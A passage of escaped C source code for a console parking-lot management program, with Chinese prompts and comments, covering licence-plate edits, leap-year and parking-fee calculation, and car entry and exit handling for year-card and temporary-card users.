flag;k++)\\r\\n\\t\\t\\t\\t\\t\\tif(isdigit(va[k])==0)\\r\\n\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\tif(flag)\\r\\n\\t\\t\\t\\t\\t\\tv=atol(va);\\r\\n\\t\\t\\t\\t\\t\\tif(v<=td)\\r\\n\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t}while(!flag);\\r\\n\\t\\t\\t\\tuser[loc].valid=v;\\t\\t\\r\\n\\t\\t\\t};\\r\\n\\t\\t\\tbreak;\\r\\n\\r\\n\\t\\tcase 4:\\r\\n\\t\\t\\tif((strcmp(user[loc].carid1,\\\"0\\\")!=0) && (strcmp(user[loc].carid2 ,\\\"0\\\")!=0)) // 当用户有2辆车\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tprintf(\\\"该用户有2辆车，修改车辆1请按1，修改车辆2请按2，都要修改请按3，放弃修改请按4：\\\");\\r\\n\\t\\t\\t\\tscanf(\\\"%d\\\",&ss);\\r\\n\\t\\t\\t\\tif(ss==1) //修改车1\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tdo\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tdo\\r\\n\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\tflag=1;\\r\\n\\t\\t\\t\\t\\t\\t\\tprintf(\\\"输入由字母与数字组成的修改后的车牌号：\\\");\\r\\n\\t\\t\\t\\t\\t\\t\\tscanf(\\\"%s\\\",&c1id);\\t\\r\\n\\t\\t\\t\\t\\t\\t\\tfor(k=0;c1id[k]!='\\\\0' && flag;k++) // 判断车牌号是否合理\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tif(isalnum(c1id[k])==0)\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t\\t}while(!flag);\\r\\n\\t\\t\\t\\t\\t\\tif(strcmp(c1id,\\\"0\\\")!=0) // 验证车牌号是否存在\\r\\n\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\tfor(j=0;j<m;j++)\\r\\n\\t\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tif((strcmp(user[j].carid1,c1id)==0) || (strcmp(user[j].carid2,c1id)==0))\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tprintf(\\\"该车牌号已存在，\\\");\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tbreak;\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\t\\t};\\r\\n\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t}while(!flag);\\t\\r\\n\\t\\t\\t\\t\\tif(strcmp(c1id,\\\"0\\\")==0)\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tstrcpy(user[loc].carid1,user[loc].carid2);\\r\\n\\t\\t\\t\\t\\t strcpy(user[loc].carid2,\\\"0\\\");\\r\\n\\t\\t\\t\\t\\t\\tstrcpy(user[loc].car2in,\\\"无车辆\\\");\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\telse\\r\\n\\t\\t\\t\\t\\t\\tstrcpy(user[loc].carid1,c1id);\\r\\n\\t\\t\\t\\t\\t\\tprintf(\\\"修改成功！\\\");\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\telse if(ss==2) // 修改车2\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tdo\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tdo\\r\\n\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\tflag=1;\\r\\n\\t\\t\\t\\t\\t\\t\\tprintf(\\\"请输入由字母与数字组成的修改后车辆2的车牌号：\\\");\\r\\n\\t\\t\\t\\t\\t\\t\\tscanf(\\\"%s\\\",c2id);\\r\\n\\t\\t\\t\\t\\t\\t\\tfor(k=0;c2id[k]!='\\\\0' && flag;k++)\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tif(isalnum(c2id[k])==0)\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t\\t}while(!flag);\\r\\n\\t\\t\\t\\t\\t\\tif(strcmp(c2id,\\\"0\\\")!=0)\\r\\n\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\tfor(j=0;j<m;j++)\\r\\n\\t\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tif((strcmp(user[j].carid1,c2id)==0) || (strcmp(user[j].carid2,c2id)==0))\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tprintf(\\\"该车牌号已存在，\\\");\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tbreak;\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\t\\t};\\r\\n\\t\\t\\t\\t\\t\\t};\\r\\n\\t\\t\\t\\t\\t}while(!flag);\\r\\n\\t\\t\\t\\t\\tif(strcmp(c2id,\\\"0\\\")==0)\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tstrcpy(user[loc].carid2,c2id);\\r\\n\\t\\t\\t\\t\\t\\tstrcpy(user[loc].car2in,\\\"无车辆\\\");\\r\\n\\t\\t\\t\\t\\t};\\r\\n\\t\\t\\t\\t\\tstrcpy(user[loc].carid2,c2id);\\r\\n\\t\\t\\t\\t\\tprintf(\\\"修改成功！\\\");\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\telse if(ss==3) //全修改\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tdo\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tdo\\r\\n\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\tflag=1;\\r\\n\\t\\t\\t\\t\\t\\t\\tprintf(\\\"输入由字母与数字组成的修改后的车牌号1：\\\");\\r\\n\\t\\t\\t\\t\\t\\t\\tscanf(\\\"%s\\\",&c1id);\\t\\r\\n\\t\\t\\t\\t\\t\\t\\tfor(k=0;c1id[k]!='\\\\0' && flag;k++)\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tif(isalnum(c1id[k])==0)\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t\\t\\tif(strcmp(c1id,\\\"0\\\")==0)\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t\\t}while(!flag);\\r\\n\\t\\t\\t\\t\\t\\tif(strcmp(c1id,\\\"0\\\")!=0)\\r\\n\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\tfor(j=0;j<m;j++)\\r\\n\\t\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tif((strcmp(user[j].carid1,c1id)==0) || (strcmp(user[j].carid2,c1id)==0))\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tprintf(\\\"该车牌号已存在，\\\");\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tbreak;\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\t\\t};\\r\\n\\t\\t\\t\\t\\t\\t};\\r\\n\\t\\t\\t\\t\\t}while(!flag);\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\tstrcpy(user[loc].carid1,c1id);\\r\\n\\t\\t\\t\\t\\tdo\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tdo\\r\\n\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\tflag=1;\\r\\n\\t\\t\\t\\t\\t\\t\\tprintf(\\\"请输入由字母与数字组成的修改后车辆2的车牌号：\\\");\\r\\n\\t\\t\\t\\t\\t\\t\\tscanf(\\\"%s\\\",c2id);\\r\\n\\t\\t\\t\\t\\t\\t\\tfor(k=0;c2id[k]!='\\\\0' && flag;k++)\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tif(isalnum(c2id[k])==0)\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t\\t}while(!flag);\\r\\n\\r\\n\\t\\t\\t\\t\\t\\tif(strcmp(c2id,\\\"0\\\")!=0)\\r\\n\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\tfor(j=0;j<m;j++)\\r\\n\\t\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tif((strcmp(user[j].carid1,c1id)==0) || (strcmp(user[j].carid2,c1id)==0))\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tprintf(\\\"该车牌号已存在，\\\");\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tbreak;\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t}while(!flag);\\r\\n\\t\\t\\t\\t\\tif(strcmp(c2id,\\\"0\\\")==0)\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tstrcpy(user[loc].carid2,c2id);\\r\\n\\t\\t\\t\\t\\t\\tstrcpy(user[loc].car2in,\\\"无车辆\\\");\\r\\n\\t\\t\\t\\t\\t};\\r\\n\\t\\t\\t\\t\\tstrcpy(user[loc].carid2,c2id);\\r\\n\\t\\t\\t\\t\\tprintf(\\\"修改成功！\\\");\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t//else\\r\\n\\t\\t\\t\\t//\\tbreak;\\r\\n\\t\\t\\t}\\r\\n\\r\\n\\t\\t\\telse if((strcmp(user[loc].carid1 ,\\\"0\\\")!=0) && (strcmp(user[loc].carid2,\\\"0\\\")==0)) // 若用户仅拥有一辆车\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tprintf(\\\"该用户有一台车，确认修改请按1，添加车辆请按2，取消修改请按0： \\\");\\r\\n\\t\\t\\t\\tscanf(\\\"%d\\\",&ss);\\r\\n\\t\\t\\t\\tif(ss==1) // 修改车辆1\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tdo\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tdo\\r\\n\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\tflag=1;\\r\\n\\t\\t\\t\\t\\t\\t\\tprintf(\\\"输入由字母与数字组成的修改后的车牌号：\\\");\\r\\n\\t\\t\\t\\t\\t\\t\\tscanf(\\\"%s\\\",&c1id);\\t\\r\\n\\t\\t\\t\\t\\t\\t\\tfor(k=0;c1id[k]!='\\\\0' && flag;k++)\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tif(isalnum(c1id[k])==0)\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t\\t\\tif(strcmp(c1id,\\\"0\\\")==0)\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t\\t}while(!flag);\\r\\n\\t\\t\\t\\t\\t\\tfor(j=0;j<m;j++)\\r\\n\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\tif((strcmp(user[j].carid1,c1id)==0) || (strcmp(user[j].carid2,c1id)==0))\\r\\n\\t\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tprintf(\\\"该车牌号已存在，\\\");\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tbreak;\\r\\n\\t\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t}while(!flag);\\t\\t\\t\\t\\t\\t\\t\\r\\n\\t\\t\\t\\t\\tstrcpy(user[loc].carid1,c1id);\\r\\n\\t\\t\\t\\t\\tprintf(\\\"修改成功！\\\");\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\telse if(ss==2) //添加车辆2\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tdo\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tflag=1;\\r\\n\\t\\t\\t\\t\\t\\tdo\\r\\n\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\tprintf(\\\"输入由字母与数字组成的车牌号：\\\");\\r\\n\\t\\t\\t\\t\\t\\t\\tscanf(\\\"%s\\\",&c2id);\\r\\n\\t\\t\\t\\t\\t\\t\\tfor(k=0;c2id[k]!='\\\\0' && flag;k++)\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tif(isalnum(c2id[k])==0)\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t\\t}while(!flag);\\r\\n\\t\\t\\t\\t\\t\\tfor(j=0;j<m;j++)\\r\\n\\t\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tif((strcmp(user[j].carid1,c2id)==0) || (strcmp(user[j].carid2,c2id)==0))\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tprintf(\\\"该车牌号已存在，\\\");\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tflag=0;\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tbreak;\\r\\n\\t\\t\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t}while(!flag);\\r\\n\\t\\t\\t\\t\\tstrcpy(user[loc].carid2,c2id);\\r\\n\\t\\t\\t\\t\\tstrcpy(user[loc].car2in,\\\"车辆未进入\\\");\\r\\n\\t\\t\\t\\t\\tprintf(\\\"修改成功！\\\");\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\tbreak;\\r\\n\\t\\t}\\r\\n\\t\\tprintf(\\\"\\\\n\\\");\\r\\n\\t\\tprintf(\\\"确定保存修改的信息（1/0）,如选0，则重新修改？\\\");\\r\\n\\t\\tscanf(\\\"%d\\\",&flag);\\r\\n\\t}while(!flag);\\r\\n\\r\\n\\tsave(m);\\r\\n\\tdisplay();\\r\\n\\tprintf(\\\"\\\\n修改结束请按0，继续修改请按1：\\\"); //如果继续修改，清空桌面，重新运行一次\\r\\n\\tscanf(\\\"%d\\\",&x);\\r\\n\\tswitch(x)\\r\\n\\t{\\r\\n\\tcase 0:\\r\\n\\t\\tsystem(\\\"cls\\\");\\r\\n\\t\\tbreak;\\r\\n\\tcase 1:\\r\\n\\t\\tmodify();\\r\\n\\t\\tbreak;\\r\\n\\tdefault:system(\\\"cls\\\");break;\\r\\n\\t}\\r\\n}\\r\\n\\r\\nbool isleap(int year){ // 判断是否为闰年\\r\\n\\t return (year%4==0 && year%100!=0 || year%400==0);\\r\\n}\\r\\n\\r\\n//计算停车费用\\r\\nlong fee(long Time_in,long Hour_in,long Time_out,long Hour_out)\\r\\n{\\r\\n\\t//导入进出时间后，将其分解为年，月，日，时，分\\r\\n int y1,m1,d1,h1,s1;\\r\\n int y2,m2,d2,h2,s2;\\r\\n int day=0;\\r\\n long hour,p;\\r\\n y1=Time_in/10000,m1=Time_in%10000/100,d1=Time_in%100,h1=Hour_in/100,s1=Hour_in%100;\\r\\n y2=Time_out/10000,m2=Time_out%10000/100,d2=Time_out%100,h2=Hour_out/100,s2=Hour_out%100;\\r\\n while (y1<y2 || m1<m2 || d1<d2){ //计算进出时间相差多少天\\r\\n d1++;\\r\\n if (d1==month[m1][isleap(y1)]+1){\\r\\n m1++;\\r\\n d1=1;\\r\\n }\\r\\n if(m1==13){\\r\\n y1++;\\r\\n m1=1;\\r\\n }\\r\\n day++;\\r\\n };\\r\\n hour=h2-h1; // 计算小时差\\r\\n if(s2-s1>0)\\r\\n hour++;\\r\\n\\thour=hour+24*day;\\r\\n p=5+3*(hour-1); // 计算费用\\r\\n return p;\\r\\n};\\r\\n\\r\\nvoid carin(){\\r\\n\\tFILE* fp;\\r\\n\\tint m=load();\\r\\n\\tint i,n,j,k=0,flag,tag,loc=-1,f; //tag代表车1还是车2\\r\\n\\tbool ft=true;\\r\\n\\tchar car[6],time[12],tim[6];\\r\\n\\tchar sto[7];\\r\\n\\tlong v;\\r\\n\\tdo\\r\\n\\t{\\r\\n\\t\\tflag=1;\\r\\n\\t\\tprintf(\\\"请输入车牌号：\\\"); // 确定车牌号\\r\\n\\t\\tscanf(\\\"%s\\\",car);\\r\\n\\t\\tfor(i=0;car[i]!='\\\\0' && flag;i++)\\r\\n\\t\\t{\\r\\n\\t\\t\\tif(isalnum(car[i])==0)\\r\\n\\t\\t\\t\\tflag=0;\\r\\n\\t\\t}\\r\\n\\t}while(!flag);\\r\\n\\tstrcpy(sto,car);\\r\\n\\r\\n\\tfor(i=0;i<m;i++)\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t//检索该车牌的车主，确定进入的车辆是车1还是车2\\r\\n\\t{\\r\\n\\t\\tif(strcmp(user[i].carid1,sto)==0)\\r\\n\\t\\t{\\r\\n\\t\\t\\ttag=1;\\r\\n\\t\\t\\tloc=i;\\r\\n\\t\\t\\tbreak;\\r\\n\\t\\t}\\r\\n\\t\\telse if(strcmp(user[i].carid2,sto)==0)\\r\\n\\t\\t{\\r\\n\\t\\t\\ttag=2;\\r\\n\\t\\t\\tloc=i;\\r\\n\\t\\t\\tbreak;\\r\\n\\t\\t}\\r\\n\\t}\\r\\n\\r\\n\\tdo\\r\\n\\t{\\r\\n\\t\\tflag=1;\\r\\n\\t\\tprintf(\\\"请输入入场时间(省略':'精确到分):\\\"); // 输入进入时间\\r\\n\\t\\tscanf(\\\"%s\\\",time);\\r\\n\\t\\tif(strlen(time)!=12)\\r\\n\\t\\t\\tflag=0;\\r\\n\\t\\tfor(i=0;time[i]!='\\\\0' && flag;i++)\\r\\n\\t\\t{\\r\\n\\t\\t\\tif(isdigit(time[i])==0)\\r\\n\\t\\t\\t\\tflag=0;\\r\\n\\t\\t}\\r\\n\\t}while(!flag);\\r\\n\\r\\n\\tif(loc!=-1){ //loc为该用户在数组中的位置\\r\\n\\t\\tif(strcmp(user[loc].card,\\\"year\\\")==0)\\r\\n\\t\\t{\\r\\n\\t\\t\\tstrncpy(tim,time+2,6);\\r\\n\\t\\t\\tv=atol(tim);\\r\\n\\t\\t\\tif(v>=user[loc].valid){ft=false;} \\r\\n\\t\\t};\\r\\n\\r\\n\\t\\tif(ft){ // ft是true代表会员没到期\\r\\n\\t\\t\\tif(tag==1) //tag代表等待进入的是车主的几号车\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tif(strcmp(user[loc].car2in,\\\"vip\\\")==0)\\r\\n\\t\\t\\t\\t\\tstrcpy(user[loc].car1in,time);\\r\\n\\t\\t\\t\\telse if(strcmp(user[loc].car2in,\\\"无车辆\\\")==0 || strcmp(user[loc].car2in,\\\"车辆未进入\\\")==0)\\r\\n\\t\\t\\t\\t\\tstrcpy(user[loc].car1in,\\\"vip\\\");\\r\\n\\t\\t\\t}\\r\\n\\t\\t\\telse if(tag==2)\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tif(strcmp(user[loc].car1in,\\\"vip\\\")==0)\\r\\n\\t\\t\\t\\t\\tstrcpy(user[loc].car2in,time);\\r\\n\\t\\t\\t\\telse if(strcmp(user[loc].car1in,\\\"无车辆\\\")==0 || strcmp(user[loc].car1in,\\\"车辆未进入\\\")==0)\\r\\n\\t\\t\\t\\t\\tstrcpy(user[loc].car2in,\\\"vip\\\");\\r\\n\\t\\t\\t};\\r\\n\\t\\t\\tsave(m);\\r\\n\\t\\t\\tprintf(\\\"请进入！\\\");\\r\\n\\t\\t}\\r\\n\\t\\telse\\r\\n\\t\\t{\\r\\n\\t\\t\\tfor(j=loc;j<m;j++) //删除过期用户\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tstrcpy(user[j].id,user[j+1].id);\\r\\n\\t\\t\\t\\tuser[j].valid=user[j+1].valid;\\r\\n\\t\\t\\t\\tstrcpy(user[j].card,user[j+1].card);\\r\\n\\t\\t\\t\\tstrcpy(user[j].carid1,user[j+1].carid1);\\r\\n\\t\\t\\t\\tstrcpy(user[j].carid2,user[j+1].carid2);\\r\\n\\t\\t\\t\\tstrcpy(user[j].car1in,user[j+1].car1in);\\r\\n\\t\\t\\t\\tstrcpy(user[j].car2in,user[j+1].car2in);\\r\\n\\t\\t\\t};\\r\\n\\t\\t\\tm=m-1;\\r\\n\\t\\t\\tsave(m);\\r\\n\\t\\t\\tloc=-1;\\r\\n\\t\\t\\tprintf(\\\"您的用户卡因逾期未续费，已被注销。请办理临时卡进入.\\\\n\\\");\\t\\t\\t\\r\\n\\t\\t}\\r\\n\\t}\\r\\n\\tif(!isFull() && loc==-1){\\r\\n\\t\\tprintf(\\\"办理临时卡请选择1，离开请选择0： \\\");\\r\\n\\t\\tscanf(\\\"%d\\\",&n);\\r\\n\\t\\tif(n==1)\\r\\n\\t\\t{ //临时卡只设置车牌号与进入时间，其余全为默认值\\r\\n\\t\\t\\tstrcpy(user[m].id,\\\"temp\\\"); \\r\\n\\t\\t\\tstrcpy(user[m].card,\\\"temp\\\");\\r\\n\\t\\t\\tstrcpy(user[m].carid2,\\\"0\\\");\\r\\n\\t\\t\\tstrcpy(user[m].car1in,time);\\r\\n\\t\\t\\tstrcpy(user[m].car2in,\\\"无车辆\\\");\\r\\n\\t\\t\\tstrcpy(user[m].carid1,sto);\\r\\n\\t\\t\\tm=m+1;\\r\\n\\t\\t\\tsave(m);\\r\\n\\t\\t\\tprintf(\\\"\\\\n添加成功！\\\\n\\\");\\r\\n\\t\\t\\tprintf(\\\"您可以进入！\\\");\\r\\n\\t\\t}\\r\\n\\t\\telse\\r\\n\\t\\t\\tprintf(\\\"再见！\\\");\\r\\n\\t}\\r\\n\\telse if(isFull()){printf(\\\"用户已满！不能创建临时卡。\\\");}\\r\\n};\\r\\n\\r\\nvoid carout(){\\r\\n\\tFILE* fp;\\r\\n int m=load();\\r\\n int i,j,flag,tag=0,hoursout,hoursin;\\r\\n char car[7],time[13],timo[7],timi[7],hourout[5],hourin[5];\\r\\n long vo,vi,pay;\\r\\n do\\r\\n\\t{\\r\\n flag=1;\\r\\n printf(\\\"请输入车牌号：\\\"); // 输入离开的车牌号\\r\\n scanf(\\\"%s\\\",car);\\r\\n for(i=0;car[i]!='\\\\0' && flag;i++)\\r\\n {\\r\\n if(isalnum(car[i])==0)\\r\\n flag=0;\\r\\n }\\r\\n }while (!flag);\\r\\n\\r\\n\\tdo\\r\\n\\t{\\r\\n\\t\\tflag=1;\\r\\n\\t\\tprintf(\\\"请输入出场时间(省略':'精确到分):\\\");\\t\\t//读入正确时间\\r\\n\\t\\tscanf(\\\"%s\\\",time);\\r\\n\\t\\tif(strlen(time)!=12)\\r\\n\\t\\t\\tflag=0;\\r\\n\\t\\tfor(i=0;time[i]!='\\\\0' && flag;i++)\\r\\n\\t\\t{\\r\\n\\t\\t\\tif(isdigit(time[i])==0)\\r\\n\\t\\t\\t\\tflag=0;\\r\\n\\t\\t}\\r\\n\\t}while(!flag);\\r\\n\\r\\n\\tfor(i=0;i<m;i++)\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t//检索该车牌的车主，并确定是车1还是车2\\r\\n\\t{\\r\\n if(strcmp(user[i].carid1,car)==0)\\r\\n {\\r\\n tag=1;\\r\\n break;\\r\\n }\\r\\n else if(strcmp(user[i].carid2,car)==0)\\r\\n {\\r\\n tag=2;\\r\\n break;\\r\\n }\\r\\n }\\r\\n\\tif(!tag)\\r\\n\\t\\tflag=0;\\r\\n\\r\\n\\tif(flag)\\r\\n\\t{\\r\\n\\t\\tstrncpy(timo,time+2,6);\\r\\n\\t\\tstrncpy(hourout,time+8,4);\\r\\n\\t\\tvo=atol(timo);\\r\\n\\t\\thoursout=atoi(hourout);\\r\\n\\r\\n\\t\\tif(strcmp(user[i].card,\\\"year\\\")==0) \\r\\n\\t\\t{// 年卡用户，如果出场时间未到有效截止期。对于vip状态的车，直接设置为车辆未进入；\\t\\t\\t\\r\\n\\t\\t\\tif(tag==1) // tag代表等待离开的是车主的几号车\\r\\n\\t\\t\\t{\\r\\n\\t\\t\\t\\tif(strcmp(user[i].car1in,\\\"vip\\\")==0) \\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tif(vo<user[i].valid)\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tstrcpy(user[i].car1in,\\\"车辆未进入\\\");\\r\\n\\t\\t\\t\\t\\t\\tprintf(\\\"祝您一路顺风！\\\");\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\r\\n\\t\\t\\t\\t\\telse \\r\\n\\t\\t\\t\\t\\t{ // 如果超过截止期，用出场日期到截止期的time差计费，如果另一辆车未进入，直接删除该用户，否则暂时保留\\r\\n\\r\\n\\t\\t\\t\\t\\t\\tpay=fee(user[i].valid,0,vo,hoursout);\\r\\n\\t\\t\\t\\t\\t\\tif(strcmp(user[i].car2in,\\\"无车辆\\\")==0 || strcmp(user[i].car2in,\\\"车辆未进场\\\")==0)\\r\\n\\t\\t\\t\\t\\t\\t{\\tfor(j=i;j<m;j++) //删除过期用户\\r\\n\\t\\t\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].id,user[j+1].id);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tuser[j].valid=user[j+1].valid;\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].card,user[j+1].card);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].carid1,user[j+1].carid1);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].carid2,user[j+1].carid2);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].car1in,user[j+1].car1in);\\r\\n\\t\\t\\t\\t\\t\\t\\t\\tstrcpy(user[j].car2in,user[j+1].car2in);\\r\\n\\t\\t\\t\\t\\t\\t\\t};\\r\\n\\t\\t\\t\\t\\t\\t\\tm=m-1;\\r\\n\\t\\t\\t\\t\\t\\t\\tprintf(\\\"由于您的用户卡已到期，您需要缴纳的费用为：%ld\\\\n\\\",pay);\\r\\n\\t\\t\\t\\t\\t\\t\\tprintf(\\\"祝您一路顺风！\\\");\\r\\n\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t\\telse\\r\\n\\t\\t\\t\\t\\t\\t{\\t\\r\\n\\t\\t\\t\\t\\t\\t\\tstrcpy(user[i].car1in,\\\"车辆未进入\\\");\\r\\n\\t\\t\\t\\t\\t\\t\\tprintf(\\\"由于您的用户卡已到期，您需要缴纳的费用为：%ld\\\\n\\\",pay);\\r\\n\\t\\t\\t\\t\\t\\t\\tprintf(\\\"祝您一路顺风！\\\");\\r\\n\\t\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\t};\\r\\n\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\telse if(strcmp(user[i].car1in,\\\"vip\\\")!=0) // 对于非vip状态的用户，直接利用 time差 计费\\r\\n\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\tstrncpy(timi,user[i].car1in+2,6);\\r\\n\\t\\t\\t\\t\\tstrncpy(hourin,user[i].car1in+8,4);\\r\\n\\t\\t\\t\\t\\tvi=atol(timi);\\r\\n\\t\\t\\t\\t\\thoursin=atoi(hourin);\\r\\n\\t\\t\\t\\t\\tpay=fee(vi,hoursin,vo,hoursout);\\r\\n\\r\\n\\t\\t\\t\\t\\tif(vo<user[i].valid)\\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tstrcpy(user[i].car1in,\\\"车辆未进入\\\");\\r\\n\\t\\t\\t\\t\\t\\tprintf(\\\"您需要缴纳的费用为：%ld\\\\n\\\",pay);\\r\\n\\t\\t\\t\\t\\t\\tprintf(\\\"祝您一路顺风！\\\");\\r\\n\\t\\t\\t\\t\\t}\\r\\n\\t\\t\\t\\t\\telse \\r\\n\\t\\t\\t\\t\\t{\\r\\n\\t\\t\\t\\t\\t\\tif(strcmp(user[i].car2in,\\\"无车辆\\\")==0 || 